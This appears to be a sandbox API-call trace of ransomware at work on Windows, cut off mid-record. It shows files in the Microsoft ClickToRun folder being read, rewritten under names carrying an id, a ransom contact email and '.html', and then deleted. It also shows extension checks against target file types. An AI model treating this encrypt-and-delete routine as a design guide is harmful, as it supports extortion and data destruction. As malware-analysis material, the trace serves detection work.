	[0078.019] ReadFile (in: hFile=0x390, lpBuffer=0x3cd1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cd1020*, lpNumberOfBytesRead=0x311fecc*=0x48c0, lpOverlapped=0x0) returned 1
	[0078.022] WriteFile (in: hFile=0x388, lpBuffer=0x3cd1020*, nNumberOfBytesToWrite=0x48d0, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cd1020*, lpNumberOfBytesWritten=0x311fc94*=0x48d0, lpOverlapped=0x0) returned 1
	[0078.023] ReadFile (in: hFile=0x390, lpBuffer=0x3cd1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cd1020*, lpNumberOfBytesRead=0x311fecc*=0x0, lpOverlapped=0x0) returned 1
	[0078.023] WriteFile (in: hFile=0x388, lpBuffer=0x3cd1020*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cd1020*, lpNumberOfBytesWritten=0x311fc94*=0x112, lpOverlapped=0x0) returned 1
	[0078.023] SetEndOfFile (hFile=0x388) returned 1
	[0078.024] CloseHandle (hObject=0x388) returned 1
	[0078.025] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1
	[0078.025] SetEndOfFile (hFile=0x390) returned 1
	[0078.026] CloseHandle (hObject=0x390) returned 1
	[0078.026] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0078.026] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-file-l1-2-0.dll")) returned 1
	[0078.027] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll") returned 89
	[0078.027] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll") returned 89
	[0078.027] lstrlenW (lpString=".doc") returned 4
	[0078.027] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0078.027] lstrlenW (lpString=".docx") returned 5
	[0078.027] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0078.027] lstrlenW (lpString=".pdf") returned 4
	[0078.027] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0078.027] lstrlenW (lpString=".xls") returned 4
	[0078.027] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0078.027] lstrlenW (lpString=".xlsx") returned 5
	[0078.027] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0078.027] lstrlenW (lpString=".ppt") returned 4
	[0078.027] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0078.027] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll") returned 89
	[0078.027] lstrlenW (lpString=".zip") returned 4
	[0078.027] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0078.027] lstrlenW (lpString=".rar") returned 4
	[0078.027] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0078.027] lstrlenW (lpString=".bz2") returned 4
	[0078.027] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0078.027] lstrlenW (lpString=".7z") returned 3
	[0078.027] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0078.027] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll") returned 89
	[0078.027] lstrlenW (lpString=".dbf") returned 4
	[0078.027] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0078.027] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll") returned 89
	[0078.027] lstrlenW (lpString=".1cd") returned 4
	[0078.028] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0078.028] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll") returned 89
	[0078.028] lstrlenW (lpString=".jpg") returned 4
	[0078.028] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0078.028] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll") returned 89
	[0078.028] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll") returned 89
	[0078.028] lstrlenW (lpString=".doc") returned 4
	[0078.028] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0078.028] lstrlenW (lpString=".docx") returned 5
	[0078.028] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0078.028] lstrlenW (lpString=".pdf") returned 4
	[0078.028] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0078.028] lstrlenW (lpString=".xls") returned 4
	[0078.028] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0078.028] lstrlenW (lpString=".xlsx") returned 5
	[0078.028] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0078.028] lstrlenW (lpString=".ppt") returned 4
	[0078.028] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0078.028] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll") returned 89
	[0078.028] lstrlenW (lpString=".zip") returned 4
	[0078.028] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0078.028] lstrlenW (lpString=".rar") returned 4
	[0078.028] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0078.028] lstrlenW (lpString=".bz2") returned 4
	[0078.028] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0078.028] lstrlenW (lpString=".7z") returned 3
	[0078.028] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0078.028] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll") returned 89
	[0078.028] lstrlenW (lpString=".dbf") returned 4
	[0078.028] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0078.028] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll") returned 89
	[0078.028] lstrlenW (lpString=".1cd") returned 4
	[0078.028] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0078.029] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll") returned 89
	[0078.029] lstrlenW (lpString=".jpg") returned 4
	[0078.029] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0078.029] lstrcmpiW (lpString1=".dll", lpString2=".html") returned -1
	[0078.029] lstrlenW (lpString="api-ms-win-core-file-l2-1-0.dll") returned 31
	[0078.029] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-file-l2-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0078.030] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x311ff14 | out: lpFileSize=0x311ff14*=18624) returned 1
	[0078.030] CloseHandle (hObject=0x390) returned 1
	[0078.031] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-file-l2-1-0.dll")) returned 0x20
	[0078.031] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-file-l2-1-0.dll.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0078.031] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-file-l2-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0078.031] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1
	[0078.031] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1
	[0078.031] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-file-l2-1-0.dll.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0078.031] GetLastError () returned 0x0
	[0078.031] ReadFile (in: hFile=0x390, lpBuffer=0x3cd1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cd1020*, lpNumberOfBytesRead=0x311fecc*=0x48c0, lpOverlapped=0x0) returned 1
	[0078.034] WriteFile (in: hFile=0x388, lpBuffer=0x3cd1020*, nNumberOfBytesToWrite=0x48d0, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cd1020*, lpNumberOfBytesWritten=0x311fc94*=0x48d0, lpOverlapped=0x0) returned 1
	[0078.035] ReadFile (in: hFile=0x390, lpBuffer=0x3cd1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cd1020*, lpNumberOfBytesRead=0x311fecc*=0x0, lpOverlapped=0x0) returned 1
	[0078.035] WriteFile (in: hFile=0x388, lpBuffer=0x3cd1020*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cd1020*, lpNumberOfBytesWritten=0x311fc94*=0x112, lpOverlapped=0x0) returned 1
	[0078.035] SetEndOfFile (hFile=0x388) returned 1
	[0078.035] CloseHandle (hObject=0x388) returned 1
	[0078.037] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1
	[0078.037] SetEndOfFile (hFile=0x390) returned 1
	[0078.038] CloseHandle (hObject=0x390) returned 1
	[0078.038] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0078.038] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-file-l2-1-0.dll")) returned 1
	[0078.038] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll") returned 89
	[0078.038] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll") returned 89
	[0078.038] lstrlenW (lpString=".doc") returned 4
	[0078.038] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0078.038] lstrlenW (lpString=".docx") returned 5
	[0078.038] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0078.038] lstrlenW (lpString=".pdf") returned 4
	[0078.038] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0078.038] lstrlenW (lpString=".xls") returned 4
	[0078.038] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0078.038] lstrlenW (lpString=".xlsx") returned 5
	[0078.038] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0078.039] lstrlenW (lpString=".ppt") returned 4
	[0078.039] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0078.039] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll") returned 89
	[0078.039] lstrlenW (lpString=".zip") returned 4
	[0078.039] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0078.039] lstrlenW (lpString=".rar") returned 4
	[0078.039] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0078.039] lstrlenW (lpString=".bz2") returned 4
	[0078.039] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0078.039] lstrlenW (lpString=".7z") returned 3
	[0078.039] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0078.039] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll") returned 89
	[0078.039] lstrlenW (lpString=".dbf") returned 4
	[0078.039] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0078.039] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll") returned 89
	[0078.039] lstrlenW (lpString=".1cd") returned 4
	[0078.039] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0078.039] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll") returned 89
	[0078.039] lstrlenW (lpString=".jpg") returned 4
	[0078.039] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0078.039] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll") returned 89
	[0078.039] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll") returned 89
	[0078.039] lstrlenW (lpString=".doc") returned 4
	[0078.039] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0078.039] lstrlenW (lpString=".docx") returned 5
	[0078.039] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0078.039] lstrlenW (lpString=".pdf") returned 4
	[0078.039] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0078.039] lstrlenW (lpString=".xls") returned 4
	[0078.039] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0078.039] lstrlenW (lpString=".xlsx") returned 5
	[0078.039] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0078.040] lstrlenW (lpString=".ppt") returned 4
	[0078.040] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0078.040] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll") returned 89
	[0078.040] lstrlenW (lpString=".zip") returned 4
	[0078.040] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0078.040] lstrlenW (lpString=".rar") returned 4
	[0078.040] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0078.040] lstrlenW (lpString=".bz2") returned 4
	[0078.040] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0078.040] lstrlenW (lpString=".7z") returned 3
	[0078.040] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0078.040] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll") returned 89
	[0078.040] lstrlenW (lpString=".dbf") returned 4
	[0078.040] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0078.040] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll") returned 89
	[0078.040] lstrlenW (lpString=".1cd") returned 4
	[0078.040] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0078.040] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll") returned 89
	[0078.040] lstrlenW (lpString=".jpg") returned 4
	[0078.040] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0078.040] lstrcmpiW (lpString1=".dll", lpString2=".html") returned -1
	[0078.040] lstrlenW (lpString="api-ms-win-core-localization-l1-2-0.dll") returned 39
	[0078.040] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-localization-l1-2-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0078.041] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x311ff14 | out: lpFileSize=0x311ff14*=21184) returned 1
	[0078.041] CloseHandle (hObject=0x390) returned 1
	[0078.041] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-localization-l1-2-0.dll")) returned 0x20
	[0078.041] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-localization-l1-2-0.dll.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0078.041] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-localization-l1-2-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0078.041] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1
	[0078.041] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1
	[0078.041] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-localization-l1-2-0.dll.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0078.041] GetLastError () returned 0x0
	[0078.041] ReadFile (in: hFile=0x390, lpBuffer=0x3cd1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cd1020*, lpNumberOfBytesRead=0x311fecc*=0x52c0, lpOverlapped=0x0) returned 1
	[0078.202] WriteFile (in: hFile=0x388, lpBuffer=0x3cd1020*, nNumberOfBytesToWrite=0x52d0, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cd1020*, lpNumberOfBytesWritten=0x311fc94*=0x52d0, lpOverlapped=0x0) returned 1
	[0078.208] ReadFile (in: hFile=0x390, lpBuffer=0x3cd1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cd1020*, lpNumberOfBytesRead=0x311fecc*=0x0, lpOverlapped=0x0) returned 1
	[0078.208] WriteFile (in: hFile=0x388, lpBuffer=0x3cd1020*, nNumberOfBytesToWrite=0x122, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cd1020*, lpNumberOfBytesWritten=0x311fc94*=0x122, lpOverlapped=0x0) returned 1
	[0078.208] SetEndOfFile (hFile=0x388) returned 1
	[0078.208] CloseHandle (hObject=0x388) returned 1
	[0078.209] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1
	[0078.209] SetEndOfFile (hFile=0x390) returned 1
	[0078.210] CloseHandle (hObject=0x390) returned 1
	[0078.210] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0078.210] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-localization-l1-2-0.dll")) returned 1
	[0078.211] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll") returned 97
	[0078.211] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll") returned 97
	[0078.211] lstrlenW (lpString=".doc") returned 4
	[0078.211] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0078.211] lstrlenW (lpString=".docx") returned 5
	[0078.211] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0078.211] lstrlenW (lpString=".pdf") returned 4
	[0078.211] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0078.211] lstrlenW (lpString=".xls") returned 4
	[0078.211] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0078.211] lstrlenW (lpString=".xlsx") returned 5
	[0078.211] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0078.211] lstrlenW (lpString=".ppt") returned 4
	[0078.211] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0078.211] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll") returned 97
	[0078.211] lstrlenW (lpString=".zip") returned 4
	[0078.211] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0078.211] lstrlenW (lpString=".rar") returned 4
	[0078.211] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0078.211] lstrlenW (lpString=".bz2") returned 4
	[0078.211] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0078.211] lstrlenW (lpString=".7z") returned 3
	[0078.211] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0078.211] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll") returned 97
	[0078.211] lstrlenW (lpString=".dbf") returned 4
	[0078.211] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0078.212] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll") returned 97
	[0078.212] lstrlenW (lpString=".1cd") returned 4
	[0078.212] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0078.212] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll") returned 97
	[0078.212] lstrlenW (lpString=".jpg") returned 4
	[0078.212] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0078.212] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll") returned 97
	[0078.212] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll") returned 97
	[0078.212] lstrlenW (lpString=".doc") returned 4
	[0078.212] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0078.212] lstrlenW (lpString=".docx") returned 5
	[0078.212] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0078.212] lstrlenW (lpString=".pdf") returned 4
	[0078.212] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0078.212] lstrlenW (lpString=".xls") returned 4
	[0078.212] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0078.212] lstrlenW (lpString=".xlsx") returned 5
	[0078.212] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0078.212] lstrlenW (lpString=".ppt") returned 4
	[0078.212] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0078.212] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll") returned 97
	[0078.212] lstrlenW (lpString=".zip") returned 4
	[0078.212] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0078.212] lstrlenW (lpString=".rar") returned 4
	[0078.212] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0078.212] lstrlenW (lpString=".bz2") returned 4
	[0078.212] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0078.212] lstrlenW (lpString=".7z") returned 3
	[0078.212] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0078.212] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll") returned 97
	[0078.212] lstrlenW (lpString=".dbf") returned 4
	[0078.212] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0078.212] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll") returned 97
	[0078.213] lstrlenW (lpString=".1cd") returned 4
	[0078.213] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0078.213] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll") returned 97
	[0078.213] lstrlenW (lpString=".jpg") returned 4
	[0078.213] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0078.213] lstrcmpiW (lpString1=".dll", lpString2=".html") returned -1
	[0078.213] lstrlenW (lpString="api-ms-win-crt-environment-l1-1-0.dll") returned 37
	[0078.213] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-environment-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-environment-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0078.214] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x311ff14 | out: lpFileSize=0x311ff14*=19136) returned 1
	[0078.214] CloseHandle (hObject=0x390) returned 1
	[0078.214] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-environment-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-environment-l1-1-0.dll")) returned 0x20
	[0078.214] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-environment-l1-1-0.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-environment-l1-1-0.dll.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0078.214] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-environment-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-environment-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
